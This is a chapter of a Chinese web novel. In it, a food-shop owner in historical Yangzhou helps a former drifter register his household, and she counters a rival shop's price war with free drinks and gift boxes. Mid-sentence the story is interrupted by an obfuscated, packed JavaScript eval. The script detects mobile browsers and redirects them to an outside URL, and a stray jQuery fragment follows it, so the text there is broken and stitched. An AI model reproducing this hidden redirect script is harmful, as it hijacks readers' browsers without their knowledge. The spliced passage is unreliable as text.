两人慢行来了州衙门前,梁照儿对门前的把守小吏说:“官爷,奴找付文兴付大人。”
那小吏生得一对飞天眉,双手背后,不怒自威:“闲人勿近。”
梁照儿低头打量了自身一秒,心道:我哪里像闲人了?
她抬头堆出一个笑说:“我与付大人和李鸿李大人是熟识,此番来也是为着给家里人上户籍。”
那小吏见梁照儿言辞恳切,又一股脑地讲出了两位官员的名字,心下也信了三分。
他一个转身,丢下冷冷的一句话:“在外头等着。”
梁照儿头戴方幅紫罗幅巾,整个松松地挽在脑后。太阳有些晃眼睛,她将幅巾拉下些遮阳,又忍不住咂舌:看来不管哪朝哪代找人办事都得脱层皮。
沈度跟着她站在一旁,笑着说:“你方才为何说我是家里人?”
梁照儿淡淡道:“总不能说你是幽州来的逋逃犯罢?”
“那富商鱼肉乡民,自知理亏不敢报官,我可不算逃犯。”沈度辩解道。
两人说话间那小吏探头出来警告说:“可以进了,不过你们只能在前头走动,若是进后头冲撞了贵人,就等着吃牢饭罢。”
梁照儿连声谢过,又对着沈度道:“你切记,待会就说你是龙山脚下西溪村里头的猎户,遭了灾躲上了山,如今来投奔你远房表妹。”
沈度挑眉道:“就说我是山民?”
梁照儿点头:“山民怎么了,人家总不会到山上去寻你,看你是不是真住在那。”
进了户曹处,梁照儿瞧见付文兴正在案前,连忙走到他跟前道:“付官人,今儿求您办一桩事,也不知您得不得空?”
付文兴见是梁照儿,眉目中也含着几分笑,“娘子这是哪的话,平日里咱们也受了你不少恩惠。”
旁的暂不提,就论李鸿和付文兴每次来如意馆里吃饭时单送的小吃和年节里送的节礼也够不少了。好在李鸿和付文兴也时常投桃报李,有他们二人时常出入,地痞流氓之流也不敢贸然寻衅滋事。
梁照儿腼腆一笑,“还烦请您替奴这不成器的表兄上个户籍。”
沈度接过梁照儿的眼神,依她所说依次将事实道了来。付文兴听后点头说:“既如此,那便替他上个客户就是了。”
付文兴并未多疑虑什么,只当沈度一直住在山上,是前头的户曹参军和典吏工作没做到位,漏了沈度这么号人。他向新任户曹参军禀明情况后便替沈度上了户籍。
从州衙里出来后沈度仍觉得不真实,如今他也算有了身份,是西溪村人,不再是黑户。
以前他行走江湖,半夜都只能胡乱找个屋顶或是树顶将就着睡一晚。无他,本朝住客栈需要身份凭证和路引,像他这种要啥啥没有的,可不是只能睡大马路。
路过街边小摊,梁照儿被形色各异的发簪勾住了。她停下来仔细瞧了瞧,又问:“这枚花胜多少钱?”
摊主人道:“三十文钱,这花胜极衬娘子,若不拿下倒可惜了。”
梁照儿摆了摆手,“这花胜不过用的是普通彩石,想来么也不值几个钱,便宜些奴便买下了。”
摊主人拱手回绝:“小本生意,娘子切莫杀价囖。”
梁照儿撇了撇嘴,恋恋不舍地瞧了一眼,便拉着沈度走了。沈度不解:“掌柜的既喜欢,买下便是。”
“三十文钱能买三十个馒头了,还没挑得担,就想着买盐酱。”梁照儿叱道。
两人又一道上街买了些食材,沈度借机说要回去买些豆蔻来,去那摊上将梁照儿看中的那枚花胜买了下来。
那摊主人接过银子,笑成一朵花,直赞沈度是个对娘子体贴的好郎君。
沈度将花胜塞进袖子里,拎着一小袋豆蔻跟在梁照儿的身后,他掏出花胜,轻巧一跃,将那花胜簪在了梁照儿头上。
梁照儿只觉头顶一沉,再伸手一摸便触见冰凉的一片。她先是惊讶,而后双唇微微聚成一个圆,“你把它买回来做甚?”
沈度心情良好道:“给你的谢礼。”
他双唇微勾,已然准备欣然接受梁照儿痛哭流涕的感谢,又或是娇羞的笑容,却不料她问:“你哪来的钱?”
说着她便要搜沈度的身。
沈度面上一片羞赧,又怕动作粗鲁伤着她,只得连连避开。他喘着气道:“你这人,半分江南娇娘子的模样都没有。”
梁照儿骂道:“娇来娇去的顶个屁用,这月还没发工钱,你从哪偷偷存了私房钱麽?”
有私房钱还不赶紧还债!
沈度揉着不注意被她踩到的右脚,蹙眉道:“原先剩的一些,今遭买了这东西,甚么也不剩了。”
闻言梁照儿轻哼一声,这才满意地挎着篮子朝如意馆走去。两人吵吵闹闹地回了如意馆,正见玉梳捧着些试吃的糕点在门口招揽食客。
玉梳见梁照儿回来了连忙道:“你可算回来了,宋家铺子将他家胡饼的价格降到了两文钱,将不少客人都带走了。”
梁照儿瞧着这宋家铺子摆明了是要同如意馆对上,心下也一阵生气。原本从前她做早餐,宋家铺子做宵夜,没打过照面,也称得上井水不犯河水,各自谋自己的生路。虽说如今如意馆规模扩大了,但也营业时间也不如宋家铺子晚,按理说不应该起什么冲突才是。
她决心去宋家铺子看看。
梁照儿想知道究竟是什么人才能干出这种蠢事。
借着买胡饼的机会,梁照儿在宋家铺子门口排起了队。等轮到她了,再定睛一瞧,这宋家铺子的店主人竟是从前在如意馆门前食闹的那父子俩。
梁照儿气极反笑,又想起玉梳从前说的那些话,心中对这父子二人的鄙夷更甚。
宋老头见是梁照儿,面上浮上一丝心虚,又很快压了下去,虚张声势道:“你来我铺子想做甚么坏事不成?”
梁照儿险些破口大骂,这宋老头简直是恶人先告状。
她整理好心绪,为了不妨碍后头的食客,只要了一个胡饼便退到一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401543|168708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边去了。
待食客们渐渐散了,梁照儿才幽幽道:“原应该方到卸盐巷时便来拜访邻居,可惜时间错开了总不得一见,如今一瞧方知是熟面孔。”
宋老头一听这话,脸色不虞,“我不懂你这话的意思。”
梁照儿半只手撑在案上,懒懒说:“我记着宋家铺子原是肉行,如今怎得却卖起了胡饼。”
“我爱卖甚么就卖甚么,与你何干,你自己赚了银子便不让旁人赚了麽?”
梁照儿冷笑一声说:“原本卸盐巷商户凋落,借着瓜洲口岸如今渐渐好起来了,正是好时候。如意馆同宋家铺子并不算竞争对手,何故此番作派?”
宋老头不屑道:“我原就打算卖早餐,只不过从前往来人少,不便卖,如今又重拾旧业,你待如何?”
梁照儿被他说得一愣,她确实不能如何。即便宋家铺子明天改名叫满意馆,她也不能拆了人家的食肆。
她瞪了宋老头一眼,转身回了如意馆。众人围上来问:“交涉的如何了?”
梁照儿摇了摇头。
近些日子虽说宋家铺子凭借着低廉的价格吸引去了不少食客,可不少食客占便宜去尝了宋家铺子的胡饼后,最终还是选择买如意馆的。价格便宜,自然用料上逊色不少,再加上味道不如如意馆的好,部分追求品质的食客回流。
但始终有部分食客被宋家铺子抢走了。
李瘸子激动道:“胡饼卖三文钱本也赚不了甚么钱,宋家铺子还将价格压低,这是亏本也要抢客人!”
梁照儿思忖片刻道:“这招不能接下。”
若是真被宋老头激怒跟着一起降价,只怕到最后一步退步步退。如意馆如今重新开业不久,资金链也不算稳定,搞不好真得被他逼出卸盐巷。
“那怎么办?”玉梳忧心忡忡道。
梁照儿眼珠子一转,又说:“从明日开始,在店里用早饭的客人免费提供紫苏香饮。”
香饮子一类的如意馆中本就有售卖,正好是一文钱的价格。
这也算变相降价了。
不过倒比降价强不少——食客吃饭本就需要喝茶水,且香饮又比寻常茶水更有滋味,同样的价格能获得超值的服务,也算物有所值。
沈度深深地瞧了梁照儿一眼,轻笑一声道:“你倒机灵。”
李瘸子还未明白期间关窍,只问道:“机灵在哪里,你们在打甚么谜语。”
玉梳笑着对李瘸子说:“哎唷,您呀安心做好菜便是了。”
李瘸子冷哼一声,“人年纪大了到哪都被嫌弃。”
幸好因着上次杜嫣然那件事,宝绮分外卖力地替梁照儿在贵女们中吆喝了一圈,如今如意馆门前排队停着的车马和小厮奴仆不少,都是等着买糕点的。
梁照儿预备利用好这一波宣传,结结实实地在扬州城里打响名号。她从彩纸铺选够了不少颜色鲜亮的彩纸做包装,又从李木匠那定制了几种木盒将糕点做成礼盒,俘获了不少娘子们的芳心。